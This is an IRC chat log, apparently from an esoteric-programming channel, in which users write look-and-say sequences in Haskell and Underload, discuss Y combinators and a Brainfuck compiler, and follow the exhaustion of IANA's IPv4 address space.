12:18:21 <oerjan> kfr: oh that. you cannot do that directly but you can work around it with newtype declarations
12:18:54 <kfr> You need a workaround like that to make your own Y combinator in Haskell, like that?
12:19:04 <kfr> I've seen a version which did it using some hackery/pragmas
12:19:21 <oerjan> polymorphic recursion is different though, that's when a function calls itself indirectly with arguments of different types than the original ones. it requires a type annotation.
12:19:39 <oerjan> it's sometimes useful.
12:20:13 <oerjan> yes you can use a newtype to make the Y combinator
12:20:22 <Phantom_Hoover> kfr, there is an *extremely* pervasive meme on SRoMG of taking a particular comic and replacing Garfield in the middle panel with something that sounds a bit like 'minus'.
12:21:00 <kfr> Terminator sounds like minus?
12:21:24 <oerjan> kfr: well this is a meta-instance of the meme
12:21:40 -!- impomatic has left (?).
12:21:54 <Phantom_Hoover> "Skynet" does.
12:23:22 <oerjan> at least one guy posted to the iwc forum recently that he was stopping reading SRoMG because of the meme
12:23:38 <Sgeo> Linus is the only one I get
12:23:44 -!- Sgeo_ has joined.
12:23:45 -!- Sgeo_ has quit (Client Quit).
12:24:39 <oerjan> i don't think dame jane goodall sounds like minus, but she's of course obligatory for other inside reasons
12:24:50 <Phantom_Hoover> http://i.imgur.com/9mJxF.png
12:24:52 <Phantom_Hoover> XD
12:25:41 <Phantom_Hoover> oerjan, well, she is a scientist...
12:27:21 <oerjan> lessee, y f = (\x -> f (x x)) (\x -> f (x x)) which doesn't type because of the infinite types rule of course
12:27:26 -!- pikhq has quit (Ping timeout: 240 seconds).
12:27:33 -!- pikhq has joined.
12:27:38 <oerjan> so...
12:29:19 <kfr> f = fixH (Roll fixH) where {-# NOINLINE fixH #-} fixH x = f ((unroll x) x)
12:29:29 <kfr> fix f = fixH (Roll fixH) where {-# NOINLINE fixH #-} fixH x = f ((unroll x) x)
12:29:36 <kfr> http://r6.ca/blog/20060919T084800Z.html lol
12:32:47 <oerjan> !haskell newtype Self a = Self { runSelf :: Self a -> a }; y f = (\x -> f (runSelf x x)) $ Self (\x -> f (runSelf x x)); y :: (a -> a) -> a; main = print . take 10 $ y show
12:33:11 <oerjan> !echo hi
12:33:17 -!- Ilari_ has joined.
12:33:20 <EgoBot> "\"\\\"\\\\\\\"\\\\\\"
12:34:04 <oerjan> kfr: ^
12:34:27 <kfr> :O
12:34:55 <oerjan> maybe SelfApply would be a clearer name
12:35:11 <asiekierka> wow
12:35:17 <asiekierka> 30 minutes for bf.cpp to handle Lost Kingdom
12:35:18 <asiekierka> let's see
12:35:47 <asiekierka> the file is now 24 MB and not 27
12:35:50 <asiekierka> not funny
12:38:39 -!- Ilari_ has changed nick to Ilari_antrcomp.
12:39:45 <asiekierka> ok
12:39:52 <asiekierka> Lost Kingdom compiled to a recompiled, native version
12:40:01 <asiekierka> to an almost 1MB binary, though
12:40:02 <asiekierka> but still
12:52:13 -!- copumpkin has quit (Ping timeout: 240 seconds).
12:52:51 -!- copumpkin has joined.
12:54:53 -!- BeholdMyGlory has joined.
12:56:13 -!- cheater- has quit (Ping timeout: 240 seconds).
12:56:59 -!- cheater- has joined.
13:00:25 -!- hagb4rd has quit (Ping timeout: 240 seconds).
13:00:50 -!- FireFly has joined.
13:07:13 -!- MigoMipo has joined.
13:12:45 -!- asiekierka has quit (Ping timeout: 246 seconds).
13:13:19 -!- hagb4rd has joined.
13:27:24 -!- hagb4rd has quit (Ping timeout: 240 seconds).
13:31:08 -!- hagb4rd has joined.
13:40:37 -!- hagb4rd has quit (Ping timeout: 240 seconds).
13:49:42 -!- augur has quit (Remote host closed the connection).
13:51:10 -!- elliott has joined.
13:51:16 <elliott> 02:27:55 <oerjan> <m00barax> i'm an esotermik programmers
13:51:18 <elliott> 02:28:12 <oerjan> beware of esothermic programmers exploding
13:51:20 <elliott> 02:28:43 <oerjan> wait that's exothermic
13:51:22 <elliott> 02:29:04 • oerjan watches his pun stretch to the breaking point, then snap
13:51:24 <elliott> well
13:51:26 <elliott> 01:10:14 <m00barax> hi, exothermix
13:51:28 <elliott> you're in luck!
13:52:04 <oerjan> ooh
13:52:42 <elliott> oerjan: it's funny, he came in speaking incoherently and mentioning UFOs and prime numbers and i feared the worst
13:52:49 <elliott> but then he turned out to be a Clean programmer with really bad English
13:53:41 <elliott> oerjan: hm what's look and say in haskell
13:53:41 <elliott> ?
13:53:47 <oerjan> Unmaintable Functional Objects
13:54:02 <elliott> since you did it in underload :P
13:54:07 -!- freakyfractal_ has joined.
13:54:38 <elliott> :t takeWhile
13:54:39 <lambdabot> forall a. (a -> Bool) -> [a] -> [a]
13:55:11 <elliott> > let look [] = []; look (x:xs) = length xs' : xs' ++ look xs where xs' = takeWhile (==x) xs in look [1,2,3]
13:55:13 <lambdabot> [0,0,0]
13:55:17 <elliott> what
13:55:22 <elliott> > takeWhile (==1) [1,2,3]
13:55:23 <lambdabot> [1]
13:55:28 <elliott> o_O
13:55:38 <oerjan> > iterate ((sequence [show . length, take 1] =<<). group) "3"
13:55:38 <lambdabot> Couldn't match expected type `[GHC.Types.Char]'
13:55:39 <lambdabot> against inferred ty...
13:55:39 <elliott> esplain oerjan!
13:55:41 <elliott> esplain!
13:55:41 <oerjan> darn
13:56:22 <elliott> > let look [] = []; look (x:xs) = let xs' = takeWhile (==x) xs in length xs' : xs' ++ look xs in look [1,2,3]
13:56:24 <lambdabot> [0,0,0]
13:56:26 <elliott> oh wait
13:56:34 <elliott> @hoogle (a->Bool)->[a]->([a],[a])
13:56:34 <lambdabot> Prelude break :: (a -> Bool) -> [a] -> ([a], [a])
13:56:34 <lambdabot> Prelude span :: (a -> Bool) -> [a] -> ([a], [a])
13:56:34 <lambdabot> Data.List break :: (a -> Bool) -> [a] -> ([a], [a])
13:56:42 <elliott> > break (==3) [3,3,3,4,5]
13:56:43 <lambdabot> ([],[3,3,3,4,5])
13:56:46 <elliott> > span (==3) [3,3,3,4,5]
13:56:46 <lambdabot> ([3,3,3],[4,5])
13:57:04 <elliott> > let look [] = []; look (x:xs) = let (xs',xs'') = span (==x) xs in length xs' : x ++ look xs'' in look [1,2,3]
13:57:05 <lambdabot> No instance for (GHC.Num.Num [GHC.Types.Int])
13:57:05 <lambdabot> arising from the literal `...
13:57:10 <elliott> huh?
13:57:24 <elliott> > let look [] = []; look (x:xs) = let (xs',xs'') = span (==x) xs in ((length xs') : x) ++ look xs'' in look [1,2,3]
13:57:25 <lambdabot> No instance for (GHC.Num.Num [GHC.Types.Int])
13:57:25 <lambdabot> arising from the literal `...
13:57:31 <elliott> ?
13:57:53 <oerjan> *Unmaintainable
13:58:14 <elliott> so is IANA depleted yet?
13:58:25 <Ilari> Doesn't that webcast begin in something like 15 minutes?
13:58:28 <oerjan> > iterate ((concat . sequence [show . length, take 1] =<<). group) "3"
13:58:30 <lambdabot> ["3","13","1113","3113","132113","1113122113","311311222113","1321132132211...
13:58:42 <Ilari> Oh, it is.
13:59:05 <elliott> 08:23:57 <oerjan> > filter (> 5) . map (fromJust . findIndex (`elem` "1248") . reverse . show) $ iterate (*16) 1048576
13:59:05 <elliott> 08:24:00 <lambdabot> [7,7,7,12,7,7,6,8,6,6,7,7,8,7,7,7,7,6,8,6,6,9,8,6,7,7,6,8,6,6,6,6,6,6,6,6,6...
13:59:07 <elliott> 08:24:06 <fizzie> I see you're familiar with the engineer's method of proving mathematical statements.
13:59:09 <elliott> 08:24:10 <oerjan> :D
13:59:11 <elliott> Lookin'.
13:59:22 <elliott> oerjan: ok now tell me why mine doesn't work
13:59:51 <Ilari> AFRINIC got 102, APNIC got 103, ARIN got 104, LACNIC got 179, RIPE got 185.
14:00:58 <elliott> 08:58:50 <oerjan> and if there is no (mod 10^k) that can be brute forced to show a cycle with no exceptions in it, then it might be among those problems that current mathematics cannot handle
14:01:06 <Ilari> Oh, the inetcore exhaustion counter got updated...
14:01:13 <elliott> oerjan: erd\Hos reference?
14:02:28 <oerjan> > iterate (sequence [show . length, take 1] <=< group) "3"
14:02:29 <lambdabot> Couldn't match expected type `GHC.Types.Char'
14:02:30 <lambdabot> against inferred type...
14:02:32 <oerjan> elliott: possibly
14:02:55 <elliott> [on Collatz] Because of the difficulty in solving this problem, Erdős commented that "mathematics is not yet ready for such problems" (Lagarias 1985).
14:02:57 <elliott> --mathworld
14:03:03 <oerjan> > iterate (concat . sequence [show . length, take 1] <=< group) "3"
14:03:05 <lambdabot> ["3","13","1113","3113","132113","1113122113","311311222113","1321132132211...
14:03:10 <elliott> oerjan: reference to that? :p
14:03:15 <oerjan> yeah
14:04:01 <elliott> oerjan: what was the number where arithmetic breaks down again according to you? 10^40? :p
14:04:26 <oerjan> um i think i picked it up from someone else
14:04:39 <elliott> oerjan: I blame Zeilberger
14:04:45 <oerjan> perhaps
14:04:47 <elliott> 07.08.03:14:06:22 <oerjan> numbers above 10^40 might be inconsistent...
14:05:01 <elliott> Zeilberger is a strange guy :)
14:05:09 <oerjan> that doron moron
14:05:55 <elliott> oerjan: that was terrible
14:05:57 <elliott> you're terrible
14:06:06 * oerjan cackles evilly
14:06:19 <elliott> do you cackle irl?
14:06:26 <oerjan> rarely
14:06:45 <elliott> meanwhile, Zeilberger:
14:06:47 <elliott> "While I certainly hope that there does not exist a purely human, machine-free, proof of the Four Color Theorem (if there is, it would mean that this theorem is, a posteriori, trivial!), [...]"
14:07:35 <elliott> > 10^4000 + 9
14:07:36 <lambdabot> 100000000000000000000000000000000000000000000000000000000000000000000000000...
14:07:42 <elliott> oerjan: maybe there isn't a 9 at the end
14:07:45 <elliott> maybe Cthulhu is there instead
14:08:31 <elliott> 14:12:35 <cherez> I'm pretty sure the halting problem is provably unsolvable.
14:08:32 <elliott> 14:12:45 <cherez> At least in the most general sense.
14:08:32 <elliott> 14:12:45 <bsmntbombdood> I'm pretty sure it's been proven
14:08:33 <elliott> hurf durf
14:08:54 <elliott> 14:14:58 <bsmntbombdood> the max shifts function is computable on machines with finite memorys
14:08:55 <elliott> err...
14:09:34 <Ilari> elliott: Yes, IANA is fully depleted.
14:09:41 <elliott> Ilari: can we have a party now???
14:10:02 <Ilari> http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt
14:10:08 <elliott> that's not a party
14:10:11 <elliott> we need party hats for a party
14:10:21 <elliott> 010/8 IANA - Private Use 1995-06 RESERVED [3]
14:10:22 <elliott> hmm
14:10:29 <elliott> bet that gets allocated
14:10:33 <elliott> or, wait, no
14:10:35 <elliott> that's 10.x
14:10:38 -!- asiekierka has joined.
14:10:53 <elliott> Ilari: well, IIRC Harvard said they'd return their /8. I suspect MIT might too.
14:11:05 <elliott> possibly a few of the corporations as well.
14:11:20 <elliott> Ilari: What are those "future use" /8 blocks at the end?
14:11:29 <elliott> Surely those will end up allocated? Well, not 255/8, but the previous ones?
14:11:39 <elliott> Or are those reserved for IPv6 transition?
14:12:22 <oerjan> > let look [] = []; look (x:xs) = let (xs',xs'') = span (==x) xs in length xs' : x : look xs'' in look [1,2,3]
14:12:23 <lambdabot> [0,1,0,2,0,3]
14:12:35 <oerjan> I SENSE AN OFF BY ONE ERROR
14:12:39 <elliott> hey how did you get that working oerjan
14:12:44 <elliott> why are you a bad person and how did you get that working
14:12:52 <oerjan> you had a ++ where you needed a :
14:13:00 <elliott> WELL YOU'RE A DONKEY
14:13:04 <Ilari> elliott: Those "future use" blocks will never be used.
14:13:07 <elliott> Ilari: hm, why?
14:13:18 <elliott> :t iterate
14:13:19 <lambdabot> forall a. (a -> a) -> a -> [a]
14:13:19 <Ilari> elliott: Too much hardware/software does not like using them.
14:13:22 <elliott> Ilari: ah
14:13:29 <elliott> > let look [] = []; look (x:xs) = let (xs',xs'') = span (==x) xs in length xs' + 1 : x : look xs'' in (iterate look [1]) !! 3
14:13:30 <lambdabot> [1,2,1,1]
14:13:30 <oerjan> > let look [] = []; look (xs@(x:_)) = let (xs',xs'') = span (==x) xs in length xs' : x : look xs'' in look [1,2,3]
14:13:31 <lambdabot> [1,1,1,2,1,3]
14:13:38 <elliott> oerjan: slimy toad!
14:14:00 <elliott> > let look [] = []; look xs@(x:_) = length xs' : x : look xs'' where (xs',xs'') = span (==) xs in look [1,2,1,1]
14:14:01 <lambdabot> Couldn't match expected type `GHC.Bool.Bool'
14:14:01 <lambdabot> against inferred type ...
14:14:11 <elliott> > let look [] = []; look xs@(x:_) = length xs' : x : look xs'' where (xs',xs'') = span (==x) xs in look [1,2,1,1]
14:14:12 <lambdabot> [1,1,1,2,2,1]
14:14:32 <elliott> oerjan: just don't give it any reason to use double-digit counts :D
14:14:41 <elliott> oerjan: hm that's like "base infinity" look-and-say
14:14:50 <oerjan> yeah
14:15:13 <oerjan> my underload program doesn't deal very well with double-digit counts either
14:15:15 <elliott> oerjan: is it interesting in any way? :p
14:15:17 <Ilari> The new inetcore depletion counter seems to be counting down at about 150 IPs per minute...
14:15:34 <Ilari> And it is currently at ~50M IPs.
14:15:50 <oerjan> elliott: all bases >= 4 are nearly the same once they whittle down to length <= 3 repetitions
14:15:59 <kfr> Ilari why do you obsess about that stuff? :p
14:16:01 <elliott> OH SURE OERJAN, ALWAYS WITH THE EXCUSES
14:16:05 <elliott> oerjan: but this can do regular look and say right?
14:16:19 <oerjan> um "this"?
14:16:24 <elliott> that function
14:16:28 <elliott> > let look [] = []; look xs@(x:_) = length xs' : x : look xs'' where (xs',xs'') = span (==x) xs in iterate (concatMap show) [1]
14:16:29 <lambdabot> No instance for (GHC.Num.Num GHC.Types.Char)
14:16:29 <lambdabot> arising from the literal `1...
14:16:35 <elliott> > let look [] = []; look xs@(x:_) = length xs' : x : look xs'' where (xs',xs'') = span (==x) xs in iterate (concatMap show . look) [1]
14:16:36 <lambdabot> Couldn't match expected type `GHC.Types.Char'
14:16:36 <lambdabot> against inferred type...
14:16:38 <elliott> > let look [] = []; look xs@(x:_) = length xs' : x : look xs'' where (xs',xs'') = span (==x) xs in iterate (concatMap show . look) [[1]]
14:16:39 <lambdabot> Couldn't match expected type `GHC.Types.Char'
14:16:39 <lambdabot> against inferred type...
14:16:41 <elliott> > let look [] = []; look xs@(x:_) = length xs' : x : look xs'' where (xs',xs'') = span (==x) xs in iterate (concatMap show . look) [1]
14:16:42 <lambdabot> Couldn't match expected type `GHC.Types.Char'
14:16:42 <lambdabot> against inferred type...
14:16:49 <elliott> /Char/?
14:17:26 <elliott> oerjan can fix it
14:17:34 <elliott> > let look [] = []; look xs@(x:_) = length xs' : x : look xs'' where (xs',xs'') = span (==x) xs in iterate (show . look) [1]
14:17:35 <lambdabot> Couldn't match expected type `GHC.Types.Char'
14:17:35 <lambdabot> against inferred type...
14:17:45 <elliott> > let look [] = []; look xs@(x:_) = length xs' : x : look xs'' where (xs',xs'') = span (==x) xs in concatMap show . iterate look $ [1]
14:17:47 <lambdabot> "[1][1,1][2,1][1,2,1,1][1,1,1,2,2,1][3,1,2,2,1,1][1,3,1,1,2,2,2,1][1,1,1,3,...
14:17:54 <elliott> > let look [] = []; look xs@(x:_) = length xs' : x : look xs'' where (xs',xs'') = span (==x) xs in map (concatMap show) . iterate look $ [1]
14:17:56 <lambdabot> ["1","11","21","1211","111221","312211","13112221","1113213211","3113121113...
14:17:59 <elliott> yay
14:18:15 <elliott> oerjan: that's the regular sequence, right?
14:18:23 <elliott> yep
14:19:36 <elliott> hmm
14:19:52 <elliott> now what's that as a foldr
14:20:05 <elliott> hmm, not sure it is
14:20:07 <elliott> reasonably
14:20:42 <oerjan> looks good
14:21:04 <elliott> oerjan: yeah but it's not point-free!
14:21:20 <oerjan> ...i already did a point-free one
14:21:36 <elliott> oerjan: ...yeah but did it actually work?
14:21:58 <oerjan> > iterate (concat . sequence [show . length, take 1] <=< group) "1"
14:21:59 <lambdabot> ["1","11","21","1211","111221","312211","13112221","1113213211","3113121113...
14:22:08 <elliott> oerjan: TOO STRINGY
14:22:20 <oerjan> hmph
14:22:44 <oerjan> > iterate (concat . sequence [length, take 1] <=< group) [1]
14:22:45 <lambdabot> Couldn't match expected type `[c]'
14:22:45 <lambdabot> against inferred type `GHC.Types...
14:22:48 <oerjan> argh
14:23:25 <oerjan> > iterate (sequence [length, take 1] <=< group) [1]
14:23:26 <lambdabot> Couldn't match expected type `GHC.Types.Int'
14:23:26 <lambdabot> against inferred type ...
14:23:32 <oerjan> sheesh
14:23:47 <oerjan> oh wait
14:23:52 <oerjan> > iterate (sequence [length, head] <=< group) [1]
14:23:53 <lambdabot> [[1],[1,1],[2,1],[1,2,1,1],[1,1,1,2,2,1],[3,1,2,2,1,1],[1,3,1,1,2,2,2,1],[1...
14:23:59 <oerjan> BETTER?
14:24:21 <oerjan> finally got read of that concat too
14:24:36 <oerjan> it somehow felt ugly
14:24:45 <copumpkin> that's pretty
14:25:46 <elliott> oerjan: that's lovely
14:25:54 <elliott> hm wait
14:25:55 <elliott> @src sequence
14:25:55 <lambdabot> sequence [] = return []
14:25:55 <lambdabot> sequence (x:xs) = do v <- x; vs <- sequence xs; return (v:vs)
14:25:55 <lambdabot> --OR
14:25:55 <lambdabot> sequence xs = foldr (liftM2 (:)) (return []) xs
14:25:56 * oerjan does a happy dance
14:26:05 <oerjan> elliott: (e ->) monad
14:26:07 <elliott> oerjan: surely you can eliminate that sequence there
14:26:10 <elliott> > sequence [f, g]
14:26:11 <lambdabot> No instance for (GHC.Show.Show (m [a]))
14:26:11 <lambdabot> arising from a use of `M20581693...
14:26:18 <elliott> oh god i fucking hate you lambdabot
14:26:20 <elliott> go die in a shit
14:26:23 <elliott> >_>
14:27:44 <oerjan> well i could use some liftM2 in the list monad instead but i don't think it would be prettier
14:29:51 <elliott> yeah
14:32:10 <oerjan> @hoogle m x -> m (x -> y) -> m y
14:32:10 <lambdabot> Control.Applicative (<**>) :: Applicative f => f a -> f (a -> b) -> f b
14:32:10 <lambdabot> Control.Applicative (<*>) :: Applicative f => f (a -> b) -> f a -> f b
14:32:10 <lambdabot> Control.Monad ap :: Monad m => m (a -> b) -> m a -> m b
14:32:25 <oerjan> hm...
14:32:26 <elliott> x and y in types? are you a monster?
14:32:38 <elliott> > iterate ((length <**> head) <=< group) [1]
14:32:39 <lambdabot> Occurs check: cannot construct the infinite type:
14:32:39 <lambdabot> c = GHC.Types.Int -> [c]
14:32:55 <elliott> oerjan: wait what
14:32:55 <elliott> :t sequence
14:32:56 <lambdabot> forall (m :: * -> *) a. (Monad m) => [m a] -> m [a]
14:32:57 <oerjan> > iterate ((<**>) [length, head] . group) [1]
14:32:57 <lambdabot> Couldn't match expected type `([GHC.Types.Int] -> GHC.Types.Int)
14:32:57 <lambdabot> ...
14:33:02 <elliott> @hoogle m a -> m a -> m [a]
14:33:02 <lambdabot> Text.ParserCombinators.ReadP endBy :: ReadP a -> ReadP sep -> ReadP [a]
14:33:02 <lambdabot> Text.ParserCombinators.ReadP endBy1 :: ReadP a -> ReadP sep -> ReadP [a]
14:33:02 <lambdabot> Text.ParserCombinators.ReadP sepBy :: ReadP a -> ReadP sep -> ReadP [a]
14:33:18 <oerjan> > iterate ((<**> [length, head]) . group) [1]
14:33:19 <lambdabot> [[1],[1,1],[2,1],[1,2,1,1],[1,1,1,2,2,1],[3,1,2,2,1,1],[1,3,1,1,2,2,2,1],[1...
14:33:32 <elliott> not really prettier :P
14:33:40 <elliott> it's the two-element list that's irksome
14:33:56 <oerjan> huh i thought that's what makes it nice
14:33:57 -!- augur has joined.
14:34:37 <elliott> oerjan: well possibly.
14:34:47 <elliott> oerjan: length <@> head <=< group would be nicer though :P
14:34:50 <elliott> well not @
14:34:51 <elliott> that's ugly
14:34:52 <elliott> but you know what i mean
14:35:05 <oerjan> :t (<@>)
14:35:09 <lambdabot> Not in scope: `<@>'
14:35:15 <elliott> WHAT
14:35:16 <elliott> < PUNCTUATION >
14:35:18 <elliott> AND IT'S NOT TAKEN
14:35:20 <elliott> LET'S INVENT SOMETHING
14:35:23 -!- cheater- has quit (Ping timeout: 240 seconds).
14:35:42 -!- poiuy_qwert has joined.
14:35:44 <elliott> :t let (f <@> x) g = (f <=< g) <*> x in (<@>)
14:35:44 <lambdabot> forall b a b1 a1. (b -> a -> b1) -> (a1 -> a) -> (a1 -> a -> b) -> a1 -> b1
14:35:50 <elliott> :t let (f <@> x) g = (f <=< g) <**> x in (<@>)
14:35:50 -!- freakyfractal_ has left (?).
14:35:50 <lambdabot> forall b (m :: * -> *) c a b1. (Monad m) => (b -> m c) -> (a -> m c -> b1) -> (a -> m b) -> a -> b1
14:35:55 <elliott> yay!
14:35:59 -!- cheater- has joined.
14:36:04 <elliott> that looks Useful
14:36:09 <elliott> especially that monad-taking, non-monad-returning one
14:37:10 <oerjan> wut
14:37:37 <elliott> oerjan: :D
14:37:43 <elliott> :t let (f <@> x) g = (f <=< g) <**> (g x) in (<@>)
14:37:43 <lambdabot> forall a c b. (((a -> c) -> b) -> a -> c) -> a -> (a -> a -> (a -> c) -> b) -> a -> b
14:37:47 <elliott> oh!
14:37:50 <elliott> now *that's* useful.
14:38:15 <elliott> lambdabot needs a quote command like @v but for ridiculous types
14:39:25 -!- poiuy_qwert has quit (Client Quit).
14:41:01 <elliott> oerjan is a duck
14:41:20 <oerjan> quack are you talking about
14:41:44 <elliott> haha i heard that as an actual quack, that's proof that oerjan is a duck
14:42:36 <oerjan> well if it fits the bill
14:43:12 <elliott> 12:05:03 <asiekierka> but on the other hand it's quite fast
14:43:12 <elliott> 12:07:16 <asiekierka> 43KB for the compiled executable
14:43:13 <elliott> 12:07:25 <asiekierka> not bad seeing as there was 70KB of BF code originally
14:43:17 <elliott> last i checked lostkng was 2 megs...
14:43:20 <elliott> oerjan: faceplam
14:43:28 <elliott> 12:10:13 <asiekierka> so i'm uploading the recompiled Adv (the first BF interactive fiction game)
14:43:28 <elliott> oh
14:44:08 <oerjan> faceplum
14:44:37 <elliott> palm trees
14:50:20 <Sgeo> facetree
14:50:22 <Sgeo> treespace
14:50:54 <Sgeo> The favored social networking sites for stoners
14:55:59 <Phantom_Hoover> Wait, what?
14:56:07 <Phantom_Hoover> There's an American Dennis the Menace?
14:56:35 <elliott> yes, it's hilariously awful
14:56:37 <elliott> i don't know why i know this
14:56:50 <elliott> Phantom_Hoover: http://2.bp.blogspot.com/_Om8bnRjTT6s/SsyAEgFtLzI/AAAAAAAAAxE/yeVNx4zcGyw/s400/pr_Dennis_Menace.gif
14:56:55 <Phantom_Hoover> And it was created 5 days before the true Dennis the Menace?
14:57:04 <elliott> Phantom_Hoover: LOOK HOW MENACING HE IS
14:57:06 <Phantom_Hoover> MY FAITH IN EVERYTHING IS SHAKEN
14:57:14 <elliott> ARE YOU FEELING MENACED
14:57:17 <Phantom_Hoover> elliott, I WANT TO PUNCH HIM SO HARD
14:58:41 <oerjan> wait there is a _british_ dennis the menace?
14:58:45 <fizzie> Dislike button: beamer's \pause (and other overlay-spec commands) do not work at all inside amsmath 'align' and friends, only in plain, ugly eqnarray.
14:58:46 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
14:58:56 * oerjan cackles evilly
14:59:21 <Phantom_Hoover> oerjan, you are Norwegian! That does not work!
14:59:34 <oerjan> er, why
15:00:03 <fizzie> Norwegians don't cackle, they just burn churches.
15:00:21 <oerjan> sheesh, i'm not varg vikernes
15:01:25 <Phantom_Hoover> I dimly recall having to battle with Human on RationalWiki to get that to stay in an article on something.
15:01:43 <fizzie> Curiously enough, Google image search for "norway church" returns only unburned churches. There must be something wrong with their algorithm.
15:01:50 <Phantom_Hoover> I have a depressing feeling the attitude was "burning churches MUST be good: religion is EVIL!"
15:02:35 -!- elliott has quit (Ping timeout: 240 seconds).
15:02:42 <fizzie> (Okay, 37th result is that Varg guy, and 61st is a newspaper clipping about church-burning.)
15:15:47 -!- Tritonio has quit (Quit: Leaving).
15:26:56 -!- copumpkin has joined.
15:28:10 -!- cheater- has quit (Ping timeout: 240 seconds).
15:29:05 -!- cheater- has joined.
15:40:10 -!- asiekierka has quit (Ping timeout: 240 seconds).
15:44:01 <kfr> Phantom_Hoover: No, actually many people involved with it were essentially theists
15:44:55 <kfr> Vikernes is an atheist but he things pre-Christian Indo-European religions are awesome nonetheless
15:44:58 <kfr> thinks* rather
15:45:59 -!- ais523 has joined.
15:46:07 <oerjan> hi ais523
15:47:38 <ais523> hi oerjan
15:47:53 <oerjan> ^ul ((::**)~^)((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!9(_))))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
15:47:55 <fungot> 3, 13, 1113, 3113, 132113, 1113122113, 311311222113, 13211321322113, 1113122113121113222113, 31131122211311123113322113, 132113213221133112132123222113, 11131221131211132221232112111312111213322113, 31131122211311123113321112131221123113111231121123222113, 132113213221133112132123123112111311222112 ...out of time!
15:48:00 <oerjan> :)
15:48:15 <ais523> is that look-and-say? In /Underload/? In /one line of IRC/?
15:48:17 <ais523> wow
15:48:23 <oerjan> yep
15:48:41 <ais523> I didn't realise the lang was quite that powerful
15:48:46 <ais523> how are you representing numbers?
15:49:10 <oerjan> your "church numerals"
15:49:23 <oerjan> well the digits
15:49:38 <ais523> I suppose with look-and-say, there's no reason to go beyond 3
15:50:04 <oerjan> indeed i only added up to 9 as a last change
15:50:52 <oerjan> the first string in there is the initial number
15:51:04 <ais523> now I'm trying to work out your list representation
15:51:38 <oerjan> ^ul ((::**)~^(:*)~^)((((:((0)(!(1)(!(2)(!(3)(!(4)(!(5)(!(6)(!(7)(!(8)(!9(_))))))))))(^))~*^^!S)(:a(~^)*~(()(~(~(:a~*):^))(a))~*^^)):^(()~)~**~^(:)~((a(~^)*~**)~a)~a(**~:((:)~(*)**)~a*~(^))**a(~*^^^!!^)***(~)~a(~a*^:)**a(:)**~^!!!a(~^)*~**)~a((, )S:^)**^):^
15:51:39 <fungot> 32, 1312, 11131112, 31133112, 1321232112, 111312111213122112, 311311123112111311222112, 1321133112132112311321322112, 111312212321121113122112132113121113222112, 31131122111213122112311311222112111312211311123113322112, 13211321223112111311222112132113213221123113112221133112132123222112, 111312211 ...out of time!
15:51:53 <ais523> yep, it looks like an argument list to arbitrary functions
15:52:03 <ais523> that type has a name in Perl 6, but I forget what it is
15:52:26 * oerjan doesn't know perl 6
15:53:15 <fizzie> ais523: Apropos yesterday's topic, the Linux netfilter connection-tracking code (to do application-specific NAT like FTP, IRC DCC and so on) supports: UDP-Lite, Amanda (a backup protocol), FTP, H.232, IRC, NetBIOS, PPtP, SANE (a remote-access protocol specifically for scanners), SIP and TFTP.
15:53:27 <fizzie> And the SANE protocol module has been marked "experimental" for as long as I remember.
15:54:04 <ais523> I actually knew what SANE meant in that context
15:54:06 <fizzie> That's not a very big market, SANE scanner users that need to access a remote scanner from behind a NAT, I would think.
15:54:13 <fizzie> Scanner Access Now Easy, isn't it?
15:55:37 <ais523> I don't know what it /stands/ for
15:55:42 <ais523> although that's stupid enough to be plausible
15:58:10 -!- sebbu has quit (Ping timeout: 240 seconds).
16:00:05 <oerjan> the :a(~^)*~(()(~(~(:a~*):^))(a))~*^^ is an important subroutine, it is used on each initial digit in a group to set up the stack elements for handling the group data
16:00:35 <oerjan> including an equality test subroutine
16:02:03 -!- hagb4rd has joined.
16:16:20 -!- sebbu has joined.
16:29:00 <ais523> Underload is so hard to read out of context
16:29:09 <ais523> as in, you can work out what it does at a low level
16:29:22 <ais523> but it often makes no sense at a high level without knowing just what's on the stack at any given point
16:29:32 * oerjan cackles evilly
16:32:20 <oerjan> very well then, you can at least see my scratch file at http://oerjan.nvg.org/esoteric/las.ul
16:34:53 <ais523> hmm, really some sort of literate Underload would be helpful
16:35:12 -!- Zuu_ has changed nick to Zuu.
16:35:13 <ais523> but it'd likely have to be literate Underlambda, or at least use upp, in order to let you get the program in the right order for literate programming
16:35:39 <ais523> ooh, now I see how that digit printing works, that's ingenious
16:35:41 <oerjan> well there is at least the (...)! commenting trick
16:36:21 <ais523> yep
16:37:31 <oerjan> btw Talk:Monod needs deletion
16:37:35 -!- hagb4rd has quit (Ping timeout: 272 seconds).
16:37:41 <oerjan> er, *Talk:MONOD
16:37:45 -!- cheater- has quit (Ping timeout: 240 seconds).
16:38:40 -!- cheater- has joined.
16:41:18 <ais523> oerjan: indeed, that's clearly meant to be a forum post
16:41:20 <ais523> and was posted twice
16:43:13 <oerjan> the reference to our non-existing avatars was pretty revealing
16:50:00 <ais523> indeed
17:12:33 -!- cal153 has quit (Ping timeout: 240 seconds).
17:17:05 <quintopia> was there a press conference already?
17:18:43 <Phantom_Hoover> I return!
17:40:10 -!- Sgeo_ has joined.
17:42:32 -!- Sgeo has quit (Ping timeout: 240 seconds).
17:57:25 -!- cal153 has joined.
17:58:24 -!- oerjan has quit (Quit: Good night).
18:01:37 -!- elliott has joined.
18:04:36 <elliott> 16:04:31 <ais523> is that look-and-say? In /Underload/? In /one line of IRC/?
18:04:36 <elliott> 16:04:33 <ais523> wow
18:04:36 <elliott> 16:04:39 <oerjan> yep
18:04:36 <elliott> 16:04:57 <ais523> I didn't realise the lang was quite that powerful
18:04:43 <elliott> ais523: Underload is a classic for a reason :)
18:04:54 <ais523> elliott: well, yes
18:05:09 <elliott> it's a tarpit in the best sense (any non-trivial program will use every instruction)
18:05:13 <ais523> it's just that I'm aware that simple operations can be quite tricky in Underload sometimes
18:05:22 <ais523> also, I really like that definition of "tarpit"
18:05:57 <elliott> ais523: well, it's an extension to the underlying definition ("few instructions")
18:06:11 <elliott> e.g., I wouldn't call a 100-instruction language a tarpit even if you had to use every instruction in a big program
18:06:19 <elliott> but I definitely think that languages with redundant instructions aren't tarpits
